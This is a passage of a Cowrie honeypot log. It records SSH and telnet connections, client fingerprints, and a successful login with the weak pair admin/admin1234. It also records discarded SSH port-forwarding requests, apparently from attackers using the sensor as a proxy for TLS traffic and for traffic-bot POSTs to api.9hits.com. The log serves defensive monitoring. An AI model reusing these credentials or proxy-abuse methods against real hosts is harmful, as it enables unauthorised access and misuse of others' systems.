\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc88n\\xed]\\x064\\xd1IW\\xea\\x1eRgm78\\x9d\\x15\\xea\\xb2\\x8a\\xc6\\xb1\\\\)V\\xf69\\xbf\\xcb\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:07.959741Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:08.141282Z","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:08.158259Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xe86%i\\xf5YXd_N\\xca\\xe2\\x1a\\xe4\\x1c\\x84\\xaahgAd\\xee\\x8b\\xaf\\xc8\\xe0\\xe5\\x7f\\xf8O\\x91 \\x96.\\x18\\x08\\xc8\\xb0\\xa4\\x8b\\xd3>h\\xa7\\xe2\\xff\\xa0\\x86\\xeas\\x1fT\\xf5$\\x98\\x0f\\xfb\\xa84K\\xc4\\xef\\x00D\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 II\\x9e}\\xb8\\x8dj\\xa7\\xba\\x99\\xf8u\\\\\\xcf\\xc9o\\xaf#R~Q\\xaf\\x83\\xb3\\x81\\xc4A\\xbaZ\\xe7\\xf2*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03&\\xe86%i\\xf5YXd_N\\xca\\xe2\\x1a\\xe4\\x1c\\x84\\xaahgAd\\xee\\x8b\\xaf\\xc8\\xe0\\xe5\\x7f\\xf8O\\x91 \\x96.\\x18\\x08\\xc8\\xb0\\xa4\\x8b\\xd3>h\\xa7\\xe2\\xff\\xa0\\x86\\xeas\\x1fT\\xf5$\\x98\\x0f\\xfb\\xa84K\\xc4\\xef\\x00D\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 II\\x9e}\\xb8\\x8dj\\xa7\\xba\\x99\\xf8u\\\\\\xcf\\xc9o\\xaf#R~Q\\xaf\\x83\\xb3\\x81\\xc4A\\xbaZ\\xe7\\xf2*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:08.171922Z","src_ip":"23.148.145.132","session":"5419f3c2e0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41382,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b75e2b3efe1","protocol":"telnet","message":"New connection: 172.81.62.90:41382 (159.203.135.109:23) [session: 7b75e2b3efe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:11.841149Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":53098,"dst_ip":"10.17.0.5","dst_port":22,"session":"191ec1bd3ff6","protocol":"ssh","message":"New connection: 113.164.152.20:53098 (10.17.0.5:22) [session: 191ec1bd3ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:15.050384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:15.054121Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:15.333425Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:16.452803Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:16.864686Z","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:16.951373Z","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:17.451474Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/9.1.2 Safari/602.2.14\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=STlrPldXN2dqU1dacntrNQ%3D%3DqmkElEwq6TgCB2EI0TqbjOThpRPYo1dF2wQUq1bikRH0PnoAtPyB8N7EcqGMxvrIM1YL08CuWBDQAw3PEOXqJ1KZlf0E5x4997TCDdrtdhNxMv%2B7pnMaNWSFeOmFuMGg1oP7d%2F9MJ7cZIHOdy%2B62KwPWtaOWRFo4tnWLFdI9iwjVbEQTSW33aHB4vONQ39oSYwP4lyocJUEO7KG%2B4eksyTmnpPNuvQEnJ2LQaaDK3dIlVl6QaHVi0zdV4v3OVGBU%2BjhIuY5Jz9UaHKfz%2F%2F4dTBHYBPlusqG%2FDn0qHcyqFO2utvoA8GkAXFulDcaq2pWsHd1Us7gtwafekbV9MX0SxrCWOwa3mXRNZbQnLCngJH5oL9x9wp%2Bv0VTakJIgYYIoUm738CTeTtOs3RgXp2BCrFwarzScjXxr8g05tI%2Fp%2FTQxMWgnXkalo84AGyqVIULDw7nQlxL9xBoHfkaV24G2SUZsqsUXbHSnrFvb8wg%2FD2vE048jIy2V74Emrf1HwGqdSzVRPs%2FS4i6CllgTaj8z8S%2FV4BYRPMaLT2HKNDL0QEfzGagPTraQrLludZJddY9jHst%2FoQPXA4auMTUg%2F8kyz5xjEPaRGOMKbNLAiAlOgnCVrNy%2Br17YcfISolFKSz4P2WuRLRl5RpSliKnKyJq%2B2QJh%2BVeyPhWHjbfqd6lM875blTsZo%2F3Av%2BSzh5H2f6dSml71a6anDSh%2BbVfyUX%2BGl6tVoJSg6EWDZChtm41%2FT%2B3lRweV1IiUoPnGSSnRv5w9UMv3ll4pOI2rh3FOGxE%2BZZqy0jbWARmbBYM1rqhVReJ8WV6XOJ6Rz0rgX7%2FCGMY95OnygGxyIPmoW7zLvnfd76L5QUZ5u4ByL4Oxw33inLhy%2BY3o0Kk9cBBcg%2Fv%2FJLdmmpa5dcrCcrb7Y77n9g2%2FSAuf7Ye8FhZMwn%2FnHPYtncQG7b7fICQfQ42IfACjnWbKvU3yVmxHXcketJljxrcHg4pHCxb036ZweufcKXZ3D8wIruvgsL7NKvAO%2FBCTFidDQThT9PWkPpJ4Vzdq9gs%2FolhX%2BaMnW3d0%2FUNE0py7JbE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/9.1.2 Safari/602.2.14\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=STlrPldXN2dqU1dacntrNQ%3D%3DqmkElEwq6TgCB2EI0TqbjOThpRPYo1dF2wQUq1bikRH0PnoAtPyB8N7EcqGMxvrIM1YL08CuWBDQAw3PEOXqJ1KZlf0E5x4997TCDdrtdhNxMv%2B7pnMaNWSFeOmFuMGg1oP7d%2F9MJ7cZIHOdy%2B62KwPWtaOWRFo4tnWLFdI9iwjVbEQTSW33aHB4vONQ39oSYwP4lyocJUEO7KG%2B4eksyTmnpPNuvQEnJ2LQaaDK3dIlVl6QaHVi0zdV4v3OVGBU%2BjhIuY5Jz9UaHKfz%2F%2F4dTBHYBPlusqG%2FDn0qHcyqFO2utvoA8GkAXFulDcaq2pWsHd1Us7gtwafekbV9MX0SxrCWOwa3mXRNZbQnLCngJH5oL9x9wp%2Bv0VTakJIgYYIoUm738CTeTtOs3RgXp2BCrFwarzScjXxr8g05tI%2Fp%2FTQxMWgnXkalo84AGyqVIULDw7nQlxL9xBoHfkaV24G2SUZsqsUXbHSnrFvb8wg%2FD2vE048jIy2V74Emrf1HwGqdSzVRPs%2FS4i6CllgTaj8z8S%2FV4BYRPMaLT2HKNDL0QEfzGagPTraQrLludZJddY9jHst%2FoQPXA4auMTUg%2F8kyz5xjEPaRGOMKbNLAiAlOgnCVrNy%2Br17YcfISolFKSz4P2WuRLRl5RpSliKnKyJq%2B2QJh%2BVeyPhWHjbfqd6lM875blTsZo%2F3Av%2BSzh5H2f6dSml71a6anDSh%2BbVfyUX%2BGl6tVoJSg6EWDZChtm41%2FT%2B3lRweV1IiUoPnGSSnRv5w9UMv3ll4pOI2rh3FOGxE%2BZZqy0jbWARmbBYM1rqhVReJ8WV6XOJ6Rz0rgX7%2FCGMY95OnygGxyIPmoW7zLvnfd76L5QUZ5u4ByL4Oxw33inLhy%2BY3o0Kk9cBBcg%2Fv%2FJLdmmpa5dcrCcrb7Y77n9g2%2FSAuf7Ye8FhZMwn%2FnHPYtncQG7b7fICQfQ42IfACjnWbKvU3yVmxHXcketJljxrcHg4pHCxb036ZweufcKXZ3D8wIruvgsL7NKvAO%2FBCTFidDQThT9PWkPpJ4Vzdq9gs%2FolhX%2BaMnW3d0%2FUNE0py7JbE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:17.454654Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:17.458625Z","src_ip":"113.164.152.20","session":"191ec1bd3ff6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00?)\\x07\\xae\\xd4\\xa1\\x06\\x92\\xd1$\\xaa*\\xce\\xa1@\\x0b\\xc0\\xb0\\x8c8\\xf3bH\\x92\\xcb\\xeeh\\xb9\\xc0OX Z\\xc3\\xb6W\\x13\\xfa\\xbb\\xda\\xe4];\\xb0\\x01^|\\x80\\xdd\\x1f\\xd1\\xb8\\xf0\\xb3A-\\x98\\xbf\\xe4,\\xbb\\xdbM\\x06\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\x84R\\xb3h\\xbd\\x15:y\\xbf\\x98\\xd5I =n\\xc7}\\x8c\\xc4/\\xbcD\\x96\\x12\\xe74IZ\\xa90)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x00?)\\x07\\xae\\xd4\\xa1\\x06\\x92\\xd1$\\xaa*\\xce\\xa1@\\x0b\\xc0\\xb0\\x8c8\\xf3bH\\x92\\xcb\\xeeh\\xb9\\xc0OX Z\\xc3\\xb6W\\x13\\xfa\\xbb\\xda\\xe4];\\xb0\\x01^|\\x80\\xdd\\x1f\\xd1\\xb8\\xf0\\xb3A-\\x98\\xbf\\xe4,\\xbb\\xdbM\\x06\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\x84R\\xb3h\\xbd\\x15:y\\xbf\\x98\\xd5I 